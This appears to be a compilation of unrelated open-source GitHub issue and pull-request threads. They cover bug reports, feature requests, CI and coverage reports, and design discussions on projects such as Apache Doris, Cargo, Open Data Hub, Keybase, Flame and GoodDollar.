branch-2.1: [fix](bf index) add ngram bf index validation in nereids index definition check #45780

cherry pick from #45780

run buildall

Thank you for your contribution to Apache Doris.
Don't know what should be done next? See How to process your PR.
Please clearly describe your PR:

What problem was fixed (it's best to include specific error reporting information). How it was fixed.
Which behaviors were modified. What was the previous behavior, what is it now, why was it modified, and what possible impacts might there be.
What features were added. Why was this function added?
Which code was refactored and why was this part of the code refactored?
Which functions were optimized and what is the difference before and after the optimization?


Add fn args_replace and fn get_program to ProcessBuilder

Executor::exec() provides a ProcessBuilder argument representing compiler call and if someone wants to use it or modify it for their own purposes, they have to (partially) recreate it themselves.
This:

makes the argument modification possible (via args_replace, analogous to env_remove)
exposes the program that will be run (via get_program, in case rustc is overriden via wrapper etc.).

r? @alexcrichton

@bors: r+

:pushpin: Commit c48e6da has been approved by alexcrichton

:hourglass: Testing commit c48e6daa41b41945d4c42950ddc179f05ef439ca with merge f46d485b8d149b06aeab62b207e9a8f2c1015aea...

That's fast, thanks! :tada:

:sunny: Test successful - status-appveyor, status-travis
Approved by: alexcrichton
Pushing f46d485b8d149b06aeab62b207e9a8f2c1015aea to master...


URL and DOI upload

As a user, I want to be able to upload a CSV containing DOIs and URLs, after logging in. The CSV will have URLs in the first column, and the related DOIs in the second column.

Once uploaded, the CSV will be registered on the S3 account of the service, and the DOIs and URLs saved to the database (by a Celery task).

At the database level, the URLs will have a foreign key referencing the related DOI.

If the loaded CSV contains URLs or DOIs already registered in the database, they will be skipped.

If the CSV contains DOIs already registered in the database, but different URL, the new URLs will be added to the database, referencing the related (existing) DOI.

Right after the upload, as a logged in user, I will be redirected to the page listing the uploaded CSVs.

Before uploading the CSV to S3, the file must be uniquely named.

Closed with release v0.1.


[powerpoint] (Requirement set) Adding information about PowerPointApi 1.1

The supported build numbers are based on an API set that was released around the same time and are subject to change based on engineering confirmation. This PR is to address the structure and supporting content.

Docs Build status updates of commit cb97fed:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/develop/install-latest-office-version.md
:white_check_mark:Succeeded

docs/develop/office-versions-and-requirement-sets.md
:white_check_mark:Succeeded

docs/overview/office-add-in-availability.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/office-add-in-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/powerpoint-api-requirement-sets.md
:white_check_mark:Succeeded

docs/toc.yml
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 96a5f70:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/develop/install-latest-office-version.md
:white_check_mark:Succeeded

docs/develop/office-versions-and-requirement-sets.md
:white_check_mark:Succeeded

docs/overview/office-add-in-availability.md
:white_check_mark:Succeeded

docs/reference/overview/powerpoint-add-ins-reference-overview.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/office-add-in-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/onenote-api-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/powerpoint-api-requirement-sets.md
:white_check_mark:Succeeded

docs/toc.yml
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit ee424ef:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/develop/install-latest-office-version.md
:white_check_mark:Succeeded

docs/develop/office-versions-and-requirement-sets.md
:white_check_mark:Succeeded

docs/overview/office-add-in-availability.md
:white_check_mark:Succeeded

docs/reference/overview/powerpoint-add-ins-reference-overview.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/office-add-in-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/onenote-api-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/powerpoint-api-requirement-sets.md
:white_check_mark:Succeeded

docs/toc.yml
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Thanks for the feedback @kbrandl. I've updated the PPT articles and the OneNote article accordingly.

Docs Build status updates of commit 52f04eb:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/develop/install-latest-office-version.md
:white_check_mark:Succeeded

docs/develop/office-versions-and-requirement-sets.md
:white_check_mark:Succeeded

docs/overview/office-add-in-availability.md
:white_check_mark:Succeeded

docs/reference/overview/powerpoint-add-ins-reference-overview.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/office-add-in-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/onenote-api-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/powerpoint-api-requirement-sets.md
:white_check_mark:Succeeded

docs/toc.yml
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 3a4812a:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/develop/install-latest-office-version.md
:white_check_mark:Succeeded

docs/develop/office-versions-and-requirement-sets.md
:white_check_mark:Succeeded

docs/overview/office-add-in-availability.md
:white_check_mark:Succeeded

docs/reference/overview/powerpoint-add-ins-reference-overview.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/office-add-in-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/onenote-api-requirement-sets.md
:white_check_mark:Succeeded

docs/reference/requirement-sets/powerpoint-api-requirement-sets.md
:white_check_mark:Succeeded

docs/toc.yml
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


ROX-20582: Add link to Deployment from Violation and Risk detail views

Description
Ask and it shall be given.
Checklist

[ ] Investigated and inspected CI test results

Testing Performed
Here I tell how I validated my change
Link from deployment details tab in Violation detail view.

Link from deployment details tab in Risk detail view.

Reminder for reviewers
In addition to reviewing code here, reviewers must also review testing and request further testing in case the
performed one does not seem sufficient. As a reviewer, you must not approve the change until you understand the
performed testing and you are satisfied with it.

Only question I have is how soon we remove links to Vulnerability Management 1.0?

There's actually a ticket for doing that as a last step before making VM 2.0 GA. (In the spirit of Pokémon, we're going to have to find them all.)

Maybe we then link to the 2.0 page?

That is what I meant, that we would find equivalent links in VM 2.0.


Adding Dark and Light mode.

Placing a toggle button to switch to light and dark mode on current color used.
@codemaniac-sahil please assign me this under HacktoberFest2022

@lordashuchauhan You can start working on this issue.

Ok, thank you


How to use the qpdf in vb.net

would love to put a little wrapper around this program. I use it often to convert large volumes of pdf's when our other 3rd party pdf makers mess them up.
Is there a way to use the qpdf18.dll in vb.net ? Do you happen to have any examples ?
Thanks again for a great program
Russ

There is a "C" API in QPDF that I wrote specifically to enable someone to do a Delphi integration. You can find details about it in include/qpdf/qpdf-c.h. Assuming vb.net can call arbitrary functions in DLLs, you can probably be fairly successful using those methods as you won't have to deal with C++ name-mangling and other complications. The C API is not as complete as the C++ API, but you can do a lot of things with it. Take a look and let me know if you have questions. Note that I have never touched vb.net, and I use Windows environments only when absolutely necessary, so I don't have much in the way of tips and tricks.

I will look at this. Since I live in the windows environment I had to smile at your comment " I use Windows environments only when absolutely necessary" I once heard a Unix admin say Windows was just a boot virus.
Thanks
Have a great Holiday
Russ

@rmellnick There are an increasing number of people who are trying to use qpdf from languages like vb, PHP, node, and others where there is no easy way to directly call qpdf. I'm working on some enhancements that will increase the utility of qpdf from the command line. Maybe those will be of some use.

I'm going to close this issue though since there's nothing specifically to do here. Thanks for the report.


Messages not sending while using rails runner

Hello,
The simple method below sends the message while in rails console, but does not send while using rails runner.
  def logstash_test
    logger = LogStashLogger.new(type: :tcp, host: 'localhost', port: 5231, error_logger: Logger.new(STDOUT))
    logger.info(test:Time.now)
    p logger
  end

When printing the logger instance via rails runner, its seems that the message is pending:
@buffer_state={:pending_items=>{nil=>["{\"test\":\"2016-08-09T12:58:43.879-04:00\",\"@timestamp\":\"2016-08-09T12:58:43.879-04:00\",\"@version\":\"1\",\"severity\":\"INFO\",\"host\":\"localhost\"}\n"]}`...

This may simply be an issue with rails runner / spring, but thought i'd post it here. Thx!

Hi,
Thanks for the report. What's going on here is that your logger is buffering incoming messages. By default, messages are flushed every five seconds. If you exit the program before the flush happens, the buffer is lost. You can reproduce this in the rails console by exiting immediately after calling that method.
This is fixed in #92

The fix has been released in 0.19.0.

Awesome, thx for the response!


Add AnyTrans.app latest version

Put everything in the right place, and always the best place http://www.imobie.com/anytrans/

Looks good, thanks! :+1:


Hi bro, the /platform/login hasn't worked as expectation

Hi, hope you're doing well. I'm running into this error.
Here is the log:
{
"errorMessage": "Failed to get authorized url."
}
Can you have a look at that? Thanks in advance.

Works fine with my account.
The 429 looks like you have tried to login too many times?
Can you login successfully with this url? https://platform.openai.com/playground

I tried and It has worked :D. It looks like I called too many times. Thanks for your support. Just let you know that this service is really helpful.


Master build is failing in travis

https://travis-ci.org/go-redis/redis
https://travis-ci.org/go-redis/redis/jobs/545738089

I've restarted and it passes now. It is flaky and needs to be improved, but I don't think we need this issue open. Thanks anyway.

Would it instead be worthwhile to make an issue to make CI stable for go-redis?


ci: fix authenticating for yarn npm publish

Description

Follow up from #528 where I made a mistake as noted in https://github.com/orhun/git-cliff/pull/528#issuecomment-2016954138
Motivation and Context
Fix a mistake
How Has This Been Tested?
N.A.
Screenshots / Logs (if applicable)
N.A.
Types of Changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Documentation (no code change)
[ ] Refactor (refactoring production code)
[x] Other: Continuous delivery

Checklist:

[x] My code follows the code style of this project.
[x] I have updated the documentation accordingly. N.A.
[x] I have formatted the code with rustfmt. N.A.
[x] I checked the lints with clippy. N.A.
[x] I have added tests to cover my changes. N.A.
[x] All new and existing tests passed. N.A.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 41.27%. Comparing base (c535a01) to head (2903eaa).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main     #574   +/-   ##
=======================================
  Coverage   41.27%   41.27%
=======================================
  Files          15       15
  Lines        1071     1071
=======================================
  Hits          442      442
  Misses        629      629

Flag
Coverage Δ

unit-tests
41.27% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[Bug]: Pods that request a GPU have the nvidia.com/gpu.present affinity set

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
Ported from downstream: https://issues.redhat.com/browse/RHODS-5072
Pods that request a GPU (and are scheduled on a gpu node) still have the nvidia.com/gpu.present affinity set even though they shouldn't.
[lgiorgi@fedora ods-ci]$ oc exec jupyter-nb-ldap-2dadmin4-0 -n rhods-notebooks  -- nvidia-smi
Defaulted container "jupyter-nb-ldap-2dadmin4" out of: jupyter-nb-ldap-2dadmin4, oauth-proxy
Tue Aug 30 09:08:06 2022
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 510.47.03    Driver Version: 510.47.03    CUDA Version: 11.6     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla T4            On   | 00000000:00:1E.0 Off |                    0 |
| N/A   34C    P8    15W /  70W |      0MiB / 15360MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+
[lgiorgi@fedora ods-ci]$ oc get sts jupyter-nb-ldap-2dadmin4 -o yaml -n rhods-notebooks | yq -y .spec.template.spec.affinity
nodeAffinity:
  preferredDuringSchedulingIgnoredDuringExecution:
    - preference:
        matchExpressions:
          - key: nvidia.com/gpu.present
            operator: NotIn
            values:
              - 'true'
      weight: 1

On a pod without GPUs:
[lgiorgi@fedora ods-ci]$ oc exec jupyter-nb-ldap-2dadmin4-0 -n rhods-notebooks  -- nvidia-smi
Defaulted container "jupyter-nb-ldap-2dadmin4" out of: jupyter-nb-ldap-2dadmin4, oauth-proxy
time="2022-08-30T09:11:06Z" level=error msg="exec failed: unable to start container process: exec: \"nvidia-smi\": executable file not found in $PATH"
command terminated with exit code 255
[lgiorgi@fedora ods-ci]$ oc get sts jupyter-nb-ldap-2dadmin4 -o yaml -n rhods-notebooks | yq -y .spec.template.spec.affinity
nodeAffinity:
  preferredDuringSchedulingIgnoredDuringExecution:
    - preference:
        matchExpressions:
          - key: nvidia.com/gpu.present
            operator: NotIn
            values:
              - 'true'
      weight: 1

The scheduling appears to work correctly either way (the non-gpu pod is schedule on a cpu node, the gpu pod on a gpu node), I guess because the affinity is a preference and the request for a GPU overrides it.
Expected Behavior
Affinity should only be set on the non-gpu pod
Steps To Reproduce

Install ODH
Install GPU operator / provision GPU node(s)
Spawn a server with GPU and one without GPU
Check their definition for the nvidia.com/gpu.present affinity

Workaround (if any)
Not really needed - it has no impact since it's a preference

the affinity is a preference and the request for a GPU overrides it

OpenShift Infrastructure Version
No response
Openshift Version
No response
What browsers are you seeing the problem on?
No response
Open Data Hub Version
2.1

Relevant log output
No response

@maroroman I decided against automatically assigning this to you. Please grab it at your earliest convenience -- but someone else can work on it in the meantime if needed.

Okay after some help from Samu we have found out that the issue lies in the fact that we are patching the notebook. With the current patch strategy if there is an affinity present after requesting a non-gpu notebook and we request a gpu notebook the empty object does not replace the affinity and it is left in the notebook (but the toleration is added). I think the best course of action will be to replace the PATCH call with a REPLACE call. I will create a PR for this. cc @andrewballantyne @lugi0

Ah, thanks. I figured I might shoot myself in the foot when I wrote the patch logic -- I was just piggybacking on existing threads of code. Shows me for not just doing the right thing and trying to save some effort. Apologizes for this.

https://github.com/opendatahub-io/odh-dashboard/issues/581 should handle this by simply not trusting the client with assembling the CR.


Customize User-Facing Okta Touchpoints | Create Account Flow - ALL MFA

Description
This is follow up to Customize User-Facing Okta Touchpoints | Create Account Flow - SMS MFA. The goal of this epic is to reach the minimum feature completeness of the Create Account Flow and to switch from the current Okta flow to a new customized flow.
Why are we doing this?
Okta's out of the box solutions don't reflect many user experience best practices. Some of these result in a large volume of support requests. Addressing these pain points before we scale is critical to our efforts to well serve the most customers possible.
The pain points we intend to address are:

SMS requires an additional button press before a code is sent
On account creation, we currently ask users for phone number twice (once for PW reset, once for MFA)
The process had more security steps than needed
Once you create your account you land on an Okta screen and not in the app
A lot of support requests around password reset
We believe that by easing users' ability to create, log in and recover accounts in a more self-serve manner, we will increase satisfaction and ongoing use.
We are trying to balance a good user experience alongside security best practices and CDC security requirements.

Spec & Roadmap: https://docs.google.com/document/d/1ERupdFUY3JZP4VqiM7tL4jCcFhoNZ4afd6XRPe2s-3M/edit#
Engineering Architecture for account creation flow: https://docs.google.com/document/d/14Obz3uX8dP4wOMBE3G3HRqiw5us-mTBoOIZktZLgXrU/edit?usp=sharing
TODO
MFA setup https://developer.okta.com/docs/reference/api/factors/#factor-lifecycle-operations

[ ] Okta Verify
[ ] Voice call
[ ] Google Authenticator
[ ] FIDO2
[ ] email

Customize User Activation email to point to new account creation form. This new email also needs to contain an activationToken, instead of just an activationLink.
We'll also need to add email as an accepted MFA option within the Okta dashboard; see the Okta docs for reference.

All done! Custom user account creation has been in place for a while.


[Feature Request] Mobile app Screen Lock

One thing I love about apps like Signal and Wickr is that I can have them require a passcode/TouchID/FaceID when I reopen the app, or even have them log out every time.
The Keybase Electron app has this (macOS but that's not OS specific), why can't it be implemented into the iOS/Android App? Having the code/FaceID/TouchID to access the app would be really awesome.

@keybase,
I agree with @danthegoodman1. I was just talking with a few of my friends who use Keybase on iOS and Windows, it'd be great if there was a biometric login option for iPhone and a Windows Hello option for Windows 10.

@adamjspooner @joshblum @nathunsmitty, yes please. what @danthegoodman1 && @nilz3ro said. I third this feature request. is thirding a thing ¯_(ツ)_/¯

+1 for the locked screen as signal.
For me it's just missing this feature to be awsome

Would love to be able to lock the chat window as well on Mac or PC.

+1 This would be very handy, as my password is very complex and a pain to enter.

I am also missing this feature. +1

+1 to this feature, just like Telegram, the secure messenger does.


add logo at homepage, add forum in issue template

Hi, please use relative path or absolute path for the project logo.

Hi I just follow up other famous projects, and they use URL links. I have updated it with a relative path.


suggestion for stx.stepper_bar

Thanks for the great components package! I’m now trying to use stepper_bar in my project, and the present logic to use it is to click the button near the chosen one, is there any way that i can use it even when i want to choose the last one or any one else when the first selection is chosen?

The idea of the stepper bar to be sequential. However, I just created a version 01.54 to add an option to not make stepping require sequence.


[Launcher] ">" should not require a space

Summary of the new feature/enhancement
should these be equivalent?

agreed

@alekhyareddy28 can we move this to 'fix committed'?

This should be resolved in our 0.21.1 release of PowerToys.  https://github.com/microsoft/PowerToys/releases/tag/v0.21.1 to download it.


Pool for Vector2

Problem to solve
Since we are creating many Vector2 objects in the code base our performance would benefit from having a pool for Vector2.
Proposal
The syntax should be non-intrusive, possibly an extension to Vector2.
More information
Are you interested in working on a PR for this?
Yes,

I wonder how can the Vector2 objects be returned to the pool? Would we need to explicitly dispose() of them?

I wonder how can the Vector2 objects be returned to the pool? Would we need to explicitly dispose() of them?

Yeah, I don't think there is a way around that.
I just remembered that static methods and factories in extensions can't be used directly on the underlying object.
I had thought of having something like Vector2.get/new to get a vector from the pool, but maybe extensions isn't the best way to go then, or having an extension named `Vector2P or something.

So, let's take for example a function like this:
Vector2 get center => (start + end)..scaled(0.5);

This creates a Vector2 object, so it's an obvious client for using the vector pool. I would imagine it would look something like this:
Vector2 get center => VectorPool.get()..setFrom(start)..add(end)..scaled(0.5);

A bit less readable, but we can tolerate that.
Now, the vector returned by this method is a "pool" vector, so the user must now:

be aware that this vector is from a pool;
explicitly call VectorPool.dispose(center) at the end of the vector's lifecycle.

I don't think this part of the contract is feasible...

I would fo something like:
Vector2 get center => VectorPool.getFrom(start)..add(end)..scaled(0.5);

And then:
center.dispose();

Possibly, we could also offer a set of numbered temporary vectors inside the pool so that it would be like:
Vector2 get center => VectorPool.get(0)..setFrom(start)..add(end)..scaled(0.5);

And then you don't have to call dispose in the end of your method because you are responsible for the contract that the same indexed vector shouldn't be reused within its scope.
Any other ideas?

Disposing is problematic.
There are lots of vector operations going around, some of them performed by the vector_math library, some by flame engine, some by the user. Which means that no matter how you try, there will always be some non-pool vectors going around. Which means that:

for every operation returning a vector, we need to clearly document whether it's a pool vector or "regular" one;
the user needs to carefully check documentation for every such method -- there is no indication in the method name or signature that it returns a pool vector;
the user then needs to remember to dispose of any pool vector that they receive. This would be difficult and error-prone, with no help from the compiler.

many vectors are used on-the-fly: center + size/2 -- now you'd need to store all these vectors into temporary variables, making code much more cumbersome.
sometimes the logic requires that you mix regular and pool vectors: point = condition? center : position, where center is pooled and position is a regular vector. Now point is a Schrodinger cat: maybe you need to dispose it, or maybe you don't.

In short, I'm worried that the API where some (or all) of the vectors need to be explicitly disposed, will lead to a sever degradation of user experience, and/or massive memory leaks that are difficult to debug.
In addition, the administration of the pool itself (acquiring/returning objects) might bring additional expense that could overcome any savings from not creating extra objects.
So I would recommend, before committing to this functionality, to get a clear understanding of the following:

what is the actual efficiency loss in creating extra vector objects. For example, how does the timing of (a+b)/2 compares to a.clone()..add(b)..scaled(1/2)?
how do vector objects compare to Offset objects? For example, if a and b in the above were Offsets, would they be faster/slower?
what would be the performance when using a simple implementation of a vector pool (preferably, test under the scenario when the result is not disposed of immediately)?
what would be the performance of a custom class MyVector { double x,y; } implementation?
what about the NotifyingVector2s that we use in PositionComponents (and hence almost everywhere)?

In addition to simple arithmetics, another very common operation that we use all the time is transformation by the Transform2D matrix. So we might want to do the comparison for this operation as well.

* for every operation returning a vector, we need to clearly document whether it's a pool vector or "regular" one;

I don't think we should ever return a pool vector to the user. Not with this type of API at least.

  * many vectors are used on-the-fly: `center + size/2` -- now you'd need to store all these vectors into temporary variables, making code much more cumbersome.

We already try to do that today, the pool API shouldn't make it more cumbersome than it already is.

  * sometimes the logic requires that you mix regular and pool vectors: `point = condition? center : position`, where `center` is pooled and `position` is a regular vector. Now `point` is a Schrodinger cat: maybe you need to dispose it, or maybe you don't.

In these cases, if we'd want to use a pool vector I think it should be done explicitly.
Something like point = (condition? center : position).pooled` maybe, but I don't think this would happen often because the pooled vectors wont come from fields and public methods.

In short, I'm worried that the API where some (or all) of the vectors need to be explicitly disposed, will lead to a sever degradation of user experience, and/or massive memory leaks that are difficult to debug.

Just to repeat what I said earlier, they shouldn't be exposed.
Agree that we should do some benchmarking so that we have some data to base this decision on.


Endpoint for list of test_ids

Sometimes it might be useful to know all test ids for a component and given period of time.

Closing as this is no longer needed.


[Documentation] Disambiguate DocumentRef.create documentation

The documentation for the create method could be improved to explain exactly what "The write fails if the document already exists " means. Will the call throw an error ? If so it's not listed in throws. If it does nothing, then it should say it does nothing instead of "fails".
    /**
     * Creates a document referred to by this `DocumentReference` with the
     * provided object values. The write fails if the document already exists
     *
     * @param data The object data to serialize as the document.
     * @throws Error If the provided input is not a valid Firestore document.
     * @return A Promise resolved with the write time of this create.
     */
    create(data: WithFieldValue<T>): Promise<WriteResult>;

Looks like we have the more complete documentation here:
https://github.com/googleapis/nodejs-firestore/blob/7a9d17bdd5fca3d91e66f7500c035140a7397c33/dev/src/reference.ts#L368-L388
we should update the comment in firestore.d.ts

That documentation is not more complete in that aspect.
It should be:
    * @throws {Error} If the provided input is not a valid Firestore document or if the document already exist.

The word fail is ambiguous, imo

Agreed


Instructions/Labs/LAB_04_MFAConditionalAccessandAADIdentityProtection.md

Module: 01
Lab/Demo: 04 Ex 2
Task: 02
Step: 05
Premium P2 Free Trial Activation error: OrderFailedRiskManagementCheck
Follow lab instructions exactly to get error on Lab 4 Ex 2 Task 2 Step 5
{"errorCode":"OrderFailedRiskManagementCheck","localizedErrorDetails":{"orderFailedRiskManagementCheck":"Request failed fraud check: ErrorCode:6118; Message:Order failed Risk Management Check"},"operationResults":null,"timeStampUtc":"2023-09-11T18:18:18.1535358Z","clientRequestId":"","internalTransactionId":"","tenantId":null,"userObjectId":"","exceptionType":"FaultException"}

Same issue.

The Azure AD Premium P2 trail license was successfully activated applying the following task and steps.
Task 2: Activate Azure AD Premium P2 trial
In this task, you will sign up for the Azure AD Premium P2 free trial.
In the Azure portal, in the toolbar, click the Directory + subscription icon, located to the right of the Cloud Shell icon.
In the Directory + subscription blade, click the newly created tenant AdatumLab500-04 and click the Switch button to set it as the current directory.
Note: You may need to refresh the browser window if the AdatumLab500-04 entry does not appear in the Directory + subscription filter list.
In the Azure portal, in the Search resources, services, and docs text box at the top of the Azure portal page, type Azure Active Directory and press the Enter key. On the AdatumLab500-04 blade, in the Manage section, click Licenses.
On the Licenses | Overview blade, in the Manage section, click All products and then click + Try / Buy.
On the Activate blade, in the Azure AD Premium P2 section, click Free Trial and then click Activate.

I tried with multiple accounts. Get the same error on all of them.


[BUG] Claim request failed

@Hadar
Looks like it happens because of this error message:

Returned error: Transaction nonce is too low. Try incrementing the nonce.

Also, as you can see the next attempt is successful.
Dashboard - https://analytics.amplitude.com/gooddollar/chart/l9kegg6/edit/d06uajb?source=workspace
User Look-Up - https://analytics.amplitude.com/gooddollar/project/288710/search/amplitude_id%3D190825262743

@vldkh these kind of issues can happen once in a while. Do we have something systemic? ie same user experiencing it many times, or multiple users constantly experiencing it

@sirpy
This issue happens almost every day at 12 pm. And happens to ~300 users.
Types of Errors:

Returned error: Transaction gas price supplied is too low. There is another transaction with same nonce
Claim request failed
Reached daily transactions limit or not a citizen
Failed to check for transaction receipt: {}
Returned error: Transaction nonce is too low. Try incrementing the nonce.

But at least every second and third attempt is successful

it is expected that some blockchain calls will fail. the first spike looks unusually high.

Clear pattern there. Please fix.

@johnsmith-gooddollar @patpedrosa the reasons for failure are mostly of 2 types

user is out of Fuse tokens for gas, and passed our faucet limit
blockchain issue

To solve we can do the following

in case user can't use our faucet, buy for him fuse tokens via fuseswap (convert 2G$s), we need to show this as a TX on his feed. or ask him in a modal if he wants to do that
in case of other errors we can retry 1-2 more times

@sirpy could we join buying tokens for g$ and claim in a single operation ? And display claim amount - 2g$ in the tx? Additionaly we could show "2G$ fee" and info sign "why this happened ?" linking to some faq ?
P.S also we could check for out of gas futons entitlement calculation and adjust claim value displaying on claim page. And also display the same 2G$ fee + additional info

@johnsmith-gooddollar things to do:

gatherStats in claim.js - shows an error dialog if it fails. it should fail silently. maybe also retry if it fails?
retry claim operation if NOT "not a citizen or passed dialy tx limit" error
force nonce when doing claim tx

@patpedrosa do you want to do anything regarding the out of gas issue?

@johnsmith-gooddollar
This happened to me and I got the "not a citizen" error, all of these issues seem to be due to the web3 framework losing connection to the RPC endpoint.
so I dont think we need fix 3, and 2 should change to: on claim perform some read call to the blockchain (like getBlockNumber()) to refresh the connection then perform the claim operation and retry once on ANY error

@johnsmith-gooddollar
d3262380b200422671efb942188ee4f651e99a50

@sirpy Now it happens to ~145 users each day. I guess it is normal behavior. Any thoughts?


The intellisense is not work in this case

From @zhoudotnet on September 20, 2017 12:45
Environment data
VS Code version:  1.15
Python Extension version:  0.7
Python Version:   3.6
OS and version:    win10
Actual behavior
I created 2 files: a.py and b.py.
b.py：
def Speak(self, id):
    pass

a.py:
import b
c1 = 1   # type: b
c2: b = 1

In a.py file, the pythonVSCode plugin can not identify c1, and there are no intellisense for c1. But the pythonVSCode plugin can identify c2, there are intellisense information for c2.
Copied from original issue: DonJayamanne/pythonVSCode#1223

With jedi 0.11.1 it seems to be OK.
https://github.com/Microsoft/vscode-python/issues/674

I think the issue is with auto completing for c1 not for b. I don't think Jedi knows about pep 484 type comments. See https://github.com/davidhalter/jedi/issues/946

https://github.com/Microsoft/vscode-python/commit/601546884d8e23bb941eb955b697b02f2426e675

I tried this in the latest master and the result I'm getting is that c1 is completed as an int (No support for PEP 484 type comments), c2 is not completed at all, and b is completed as an int!
Unless this extension does something to alter Jedi's behavior. This feels like a bug in Jedi (Jedi is supposed to handle [PEP 526](https://www.python.org/dev/peps/pep-0526/ but it seems to handle it wrong) and should probably be submitted as an issue upstream to Jedi.

What's the current progress for this ticket?

@zhoudotnet we closed it because we believed it was resolved with the latest release of Jedi. If you are having issues then please open a a new issue.


Reverse Linked List

To print a singly linked list in reverse order.
example input:-
1 3 5 6 7 -1 (-1 to end linked list)
example output:-
7 6 5 3 1
I will add it in C++.
@tarun26091999 Please assign me this issue.

hey @tarun26091999 can i work on this issue in python?
Thank you!

@tarun26091999 Can I work on this issue ?


Feat/add basics

Codecov Report

Merging #58 (f5516dc) into main (a1c7cb3) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head f5516dc differs from pull request most recent head eceb0d4. Consider uploading reports for the commit eceb0d4 to get more accurate results

@@            Coverage Diff            @@
##              main       #58   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            2         2
  Lines            4         4
=========================================
  Hits             4         4

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


feed data error AttributeError: 'str' object has no attribute 'read'

feeds.Feeds(marketplace=Marketplaces.US,credentials=credentials).submit_feed(feed_type='str' ,file='SKU-12345\tLyric 500 tc Queen Flat Sheet, Ivory\t17.8\t50\tnew', content_type='text/tsv')
or i am calling with xml file
feeds.Feeds(marketplace=Marketplaces.US,credentials=credentials).submit_feed(feed_type='str' ,file='feed.txt', content_type='text/tsv')
and my xml file is
feed.txt
in both of the calling function i am getting same error

You need to pass a file object, not a string.
file=open('feed.txt')


Fix firefox layout issue

Hi,
Attached contained few changes that should address our FF layout issue. Would test more and look for possibility of improvement and should there be any ,  would be glad to improve on that.

Coverage remained the same at 32.306% when pulling 3e506a961cd218bc1a6a4eb3af29cdd837dc39e8 on nuruddeensalihu:nuru/firefox_fix into 059a79c350a13a5173f2f08407ce2dc266a06fe3 on binary-com:master.

Coverage increased (+1.8%) to 34.126% when pulling 46bc44df9203c2c867048fe647ec9e5cdd71d1da on nuruddeensalihu:nuru/firefox_fix into 059a79c350a13a5173f2f08407ce2dc266a06fe3 on binary-com:master.

Coverage increased (+1.8%) to 34.126% when pulling 46bc44df9203c2c867048fe647ec9e5cdd71d1da on nuruddeensalihu:nuru/firefox_fix into 059a79c350a13a5173f2f08407ce2dc266a06fe3 on binary-com:master.


Fix links to examples in documentation

Thanks for catching this @svanharmelen! We'll dig into why CI is failing (it shouldn't be since this is a simple docs change) and then get this merged in. In the meantime, can you sign our CLA?

@svanharmelen CI is all ready to go whenever you have a chance to sign our CLA. :)

Thanks @JoeyZwicker! Just signed the CLA 👍

Done! Thanks again! Feel free to join our Slack Channel. We'd love to learn more about how you found Pachyderm, what use case you have in mind, and we'll of course be there to help if you get stuck on anything else


Add --tracing=on as argument to parity/parity

This should be added by default because it is useful for debugging.
https://wiki.parity.io/JSONRPC-trace-module

I did it but need to verify if it works. With a non-existing transaction it looks the same whether it's on or off
# ON
22:02 $ curl --data '{"method":"trace_rawTransaction","params":["0xf86a8086d55698372431831e848094f0109fc8df283027b6285cc889f5aa624eac1f55843b9aca008025a009ebb6ca057a0535d6186462bc0b465b561c94a295bdb0621fc19208ab149a9ca0440ffd775ce91a833ab410777204d5341a6f9fa91216a6f3ee2c051fea6a0428",["trace"]],"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST localhost:33027
